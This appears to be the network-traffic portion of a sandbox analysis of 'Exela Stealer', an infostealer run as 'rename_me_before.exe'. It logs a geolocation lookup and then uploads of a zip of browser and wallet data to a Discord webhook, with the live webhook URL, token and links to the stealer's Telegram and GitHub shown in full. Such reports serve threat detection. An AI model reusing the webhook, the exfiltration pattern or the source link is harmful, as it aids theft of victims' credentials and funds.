Jan 1, 2025 02:53:21.444909096 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.444968939 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.446790934 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.446856976 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.447151899 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.447159052 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.449171066 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.449228048 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.449395895 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.449429989 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.449569941 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.449588060 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.449779034 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.449806929 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450032949 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450068951 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450308084 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450345993 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450356960 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450362921 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450572014 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450592041 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450615883 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450629950 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.450635910 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450774908 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450813055 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.450848103 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.459542990 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.459768057 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.459786892 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.459806919 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.459846973 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.459865093 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.459990978 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.464272976 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:21.464376926 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:21.464392900 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:22.381946087 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:22.382055044 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:22.382167101 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:22.382844925 CET	49753	443	192.168.2.4	162.159.128.233
Jan 1, 2025 02:53:22.382858992 CET	443	49753	162.159.128.233	192.168.2.4
Jan 1, 2025 02:53:23.336702108 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.336733103 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.336796999 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.337780952 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.337789059 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.960531950 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.962233067 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.962241888 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.963247061 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.963340044 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.965181112 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.965236902 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:23.965481997 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:23.965486050 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:24.015216112 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:24.229044914 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:24.229124069 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:24.229185104 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:24.229633093 CET	49758	443	192.168.2.4	45.112.123.126
Jan 1, 2025 02:53:24.229645014 CET	443	49758	45.112.123.126	192.168.2.4
Jan 1, 2025 02:53:24.463926077 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:24.464021921 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:24.464109898 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:24.464692116 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:24.464728117 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.092888117 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.093635082 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.093692064 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.094691038 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.094867945 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.096430063 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.096431017 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.096517086 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.096654892 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.097393990 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.097436905 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.100251913 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.100328922 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:25.100547075 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:25.100605011 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:27.230052948 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:27.230149031 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:27.230804920 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:27.231087923 CET	49759	443	192.168.2.4	45.112.123.227
Jan 1, 2025 02:53:27.231126070 CET	443	49759	45.112.123.227	192.168.2.4
Jan 1, 2025 02:53:27.233835936 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.233860970 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.234075069 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.234628916 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.234642982 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.688884020 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.690021992 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.690030098 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.691143990 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.691206932 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.700825930 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.700903893 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.701138973 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.701147079 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.701196909 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.747332096 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.750382900 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.905929089 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.906047106 CET	443	49760	162.159.137.232	192.168.2.4
Jan 1, 2025 02:53:27.906088114 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.906599998 CET	49760	443	192.168.2.4	162.159.137.232
Jan 1, 2025 02:53:27.906614065 CET	443	49760	162.159.137.232	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 02:53:05.372723103 CET	57846	53	192.168.2.4	1.1.1.1
Jan 1, 2025 02:53:05.379848957 CET	53	57846	1.1.1.1	192.168.2.4
Jan 1, 2025 02:53:19.611917019 CET	61321	53	192.168.2.4	1.1.1.1
Jan 1, 2025 02:53:19.619671106 CET	53	61321	1.1.1.1	192.168.2.4
Jan 1, 2025 02:53:23.327610970 CET	53371	53	192.168.2.4	1.1.1.1
Jan 1, 2025 02:53:23.335537910 CET	53	53371	1.1.1.1	192.168.2.4
Jan 1, 2025 02:53:24.455741882 CET	60300	53	192.168.2.4	1.1.1.1
Jan 1, 2025 02:53:24.462455988 CET	53	60300	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 02:53:05.372723103 CET	192.168.2.4	1.1.1.1	0x24df	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.611917019 CET	192.168.2.4	1.1.1.1	0x32bc	Standard query (0)	canary.discord.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:23.327610970 CET	192.168.2.4	1.1.1.1	0x1088	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:24.455741882 CET	192.168.2.4	1.1.1.1	0x30df	Standard query (0)	store1.gofile.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 02:53:05.379848957 CET	1.1.1.1	192.168.2.4	0x24df	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:16.496896029 CET	1.1.1.1	192.168.2.4	0xd629	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:16.496896029 CET	1.1.1.1	192.168.2.4	0xd629	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.619671106 CET	1.1.1.1	192.168.2.4	0x32bc	No error (0)	canary.discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.619671106 CET	1.1.1.1	192.168.2.4	0x32bc	No error (0)	canary.discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.619671106 CET	1.1.1.1	192.168.2.4	0x32bc	No error (0)	canary.discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.619671106 CET	1.1.1.1	192.168.2.4	0x32bc	No error (0)	canary.discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:19.619671106 CET	1.1.1.1	192.168.2.4	0x32bc	No error (0)	canary.discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:23.335537910 CET	1.1.1.1	192.168.2.4	0x1088	No error (0)	api.gofile.io	45.112.123.126	A (IP address)	IN (0x0001)	false
Jan 1, 2025 02:53:24.462455988 CET	1.1.1.1	192.168.2.4	0x30df	No error (0)	store1.gofile.io	45.112.123.227	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

canary.discord.com

api.gofile.io

store1.gofile.io

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	208.95.112.1	80	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 02:53:05.393385887 CET	124	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5
Jan 1, 2025 02:53:05.850951910 CET	483	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 01:53:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	162.159.137.232	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:20 UTC	284	OUT	POST /api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS HTTP/1.1 Host: canary.discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5 Content-Length: 1381
2025-01-01 01:53:20 UTC	1381	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 20 46 75 6c 6c 20 49 6e 66 6f 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Exela Stealer Full Info*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0
2025-01-01 01:53:20 UTC	1335	IN	HTTP/1.1 204 No Content Date: Wed, 01 Jan 2025 01:53:20 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 8faee004fb481a1b-EWR CF-Cache-Status: DYNAMIC Set-Cookie: __dcfduid=2d3dff6cc7e311efa7382e571129ae1c; Expires=Mon, 31-Dec-2029 01:53:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google alt-svc: h3=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735696401 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wr7EJh1y8dL%2Fw3V6th3UbKgC2H3xLiEvpCLAZWPC%2Bh9QjRx7vs4e8JXKHYVmD8tJugSkpn9iFKfDFJemiciqumpvxQO0xdxy%2FrWLocp9QRpo21%2Fo00Q2AH8zZi8ueZWSwYqxNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870 Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
2025-01-01 01:53:20 UTC	536	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 73 64 63 66 64 75 69 64 3d 32 64 33 64 66 66 36 63 63 37 65 33 31 31 65 66 61 37 33 38 32 65 35 37 31 31 32 39 61 65 31 63 61 31 30 65 31 32 62 35 66 33 63 37 37 31 64 38 64 65 34 31 35 38 65 34 62 66 39 61 38 35 61 61 33 34 32 64 36 64 61 64 66 33 38 36 63 38 30 66 34 35 34 37 36 61 34 39 38 32 35 33 66 39 66 33 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 33 31 2d 44 65 63 2d 32 30 32 39 20 30 31 3a 35 33 3a 32 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 31 35 37 36 38 30 30 30 30 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 36 66 64 31 34 33 36 31 35 63 31 62 33 36 35 Data Ascii: Set-Cookie: __sdcfduid=2d3dff6cc7e311efa7382e571129ae1ca10e12b5f3c771d8de4158e4bf9a85aa342d6dadf386c80f45476a498253f9f3; Expires=Mon, 31-Dec-2029 01:53:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=6fd143615c1b365

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49752	162.159.137.232	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:20 UTC	283	OUT	POST /api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS HTTP/1.1 Host: canary.discord.com Content-Type: application/json Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5 Content-Length: 512
2025-01-01 01:53:20 UTC	512	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 4b 65 79 77 6f 72 64 20 52 65 73 75 6c 74 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "*Exela Stealer", "description": "Keyword Result*", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer \| https://github.com/quicaxd/Exela-V2.0"}, "thum
2025-01-01 01:53:20 UTC	1335	IN	HTTP/1.1 204 No Content Date: Wed, 01 Jan 2025 01:53:20 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 8faee0093d53ef9f-EWR CF-Cache-Status: DYNAMIC Set-Cookie: __dcfduid=2da62d44c7e311efa50d1a16210c25e5; Expires=Mon, 31-Dec-2029 01:53:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google alt-svc: h3=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1735696402 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ERtB40tEwrVmx%2BU3q8vFhVSsfILES8xlOChWYSNsrUCTs4QHjuJ9DCYvS1IRb2fPAriCdPmoqI7TZ3fhzQCbch%2F1n%2FkotbyIQh%2FbVIYex2FARR9FpUaenNrGxPtuYlp5tQTMgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870 Reporting-Endpoints: csp-sentry=https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870
2025-01-01 01:53:20 UTC	536	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 73 64 63 66 64 75 69 64 3d 32 64 61 36 32 64 34 34 63 37 65 33 31 31 65 66 61 35 30 64 31 61 31 36 32 31 30 63 32 35 65 35 39 62 34 64 36 63 62 37 61 64 32 32 63 30 35 30 39 64 35 34 63 35 39 66 30 61 62 30 39 38 61 34 62 62 37 65 38 31 35 32 65 35 61 37 62 65 31 37 33 62 64 38 35 64 38 64 32 38 35 66 35 66 32 38 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 33 31 2d 44 65 63 2d 32 30 32 39 20 30 31 3a 35 33 3a 32 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 31 35 37 36 38 30 30 30 30 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 36 66 64 31 34 33 36 31 35 63 31 62 33 36 35 Data Ascii: Set-Cookie: __sdcfduid=2da62d44c7e311efa50d1a16210c25e59b4d6cb7ad22c0509d54c59f0ab098a4bb7e8152e5a7be173bd85d8d285f5f28; Expires=Mon, 31-Dec-2029 01:53:20 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=6fd143615c1b365

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	162.159.128.233	443	3512	C:\Users\user\Desktop\rename_me_before.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 01:53:21 UTC	640	OUT	POST /api/webhooks/1263157181906419813/b4pV0iwlt5KWRU4QEOMzoONBAdBMW4nt-dNtrU5B2-50jsFyHabL0Uos8mtD0ZVFUQNS HTTP/1.1 Host: canary.discord.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.11 aiohttp/3.9.5 Cookie: __cfruid=6fd143615c1b365a93488760119253c0efeca9f1-1735696400; __dcfduid=2d3dff6cc7e311efa7382e571129ae1c; __sdcfduid=2d3dff6cc7e311efa7382e571129ae1ca10e12b5f3c771d8de4158e4bf9a85aa342d6dadf386c80f45476a498253f9f3; _cfuvid=f9Zo6kGhFwLLlRf0gmTxz4znRm14ReN4oWDuv3iy1Uo-1735696400253-0.0.1.1-604800000 Content-Length: 707818 Content-Type: multipart/form-data; boundary=7c58c6790e0e42f1b4146154278816b7
2025-01-01 01:53:21 UTC	36	OUT	Data Raw: 2d 2d 37 63 35 38 63 36 37 39 30 65 30 65 34 32 66 31 62 34 31 34 36 31 35 34 32 37 38 38 31 36 62 37 0d 0a Data Ascii: --7c58c6790e0e42f1b4146154278816b7
2025-01-01 01:53:21 UTC	140	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 37 31 34 33 34 44 35 36 2d 31 35 34 38 2d 45 44 33 44 2d 41 45 45 36 2d 43 37 35 41 45 43 44 39 33 42 46 30 2e 7a 69 70 22 0d 0a 0d 0a Data Ascii: Content-Type: application/octet-streamContent-Disposition: form-data; name="file"; filename="71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip"
2025-01-01 01:53:21 UTC	16384	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 a8 a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 42 72 6f 77 73 65 72 73 2f 50 4b 03 04 14 00 00 00 00 00 a6 a6 9f 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 57 61 6c 6c 65 74 73 2f 50 4b 03 04 14 00 00 00 08 00 a7 a6 9f 59 8c b8 28 e0 35 7f 0a 00 78 c3 0a 00 0f 00 00 00 44 69 73 70 6c 61 79 20 28 31 29 2e 70 6e 67 54 bb 79 3c 54 ff 1b ff 7d 66 8c 6c 15 46 45 65 37 22 d2 a4 4d 84 b1 9b 21 46 a4 41 9a 11 2a 4b 25 64 37 0c 29 64 1f 7b 64 88 b2 65 8d 64 1b 2a b2 d6 58 b2 a4 42 f6 7d 1d db 2c dc a3 ef e7 77 ff ee fb 0f 8f c3 e3 9c 39 e3 31 e7 75 5d af e7 eb 7a bf 27 dc c4 58 ff 10 f7 09 6e 00 00 0e a1 90 3a a6 00 c0 ce fa 15 02 70 1e 60 1d c8 f1 54 6d d6 01 e4 6e aa af 05 14 7f 17 9e dd 3f 75 5f d3 48 13 00 ca Data Ascii: PKYBrowsers/PKYWallets/PKY(5xDisplay (1).pngTy<T}flFEe7"M!FAK%d7)d{dedXB},w91u]z'Xn:p`Tmn?u_H
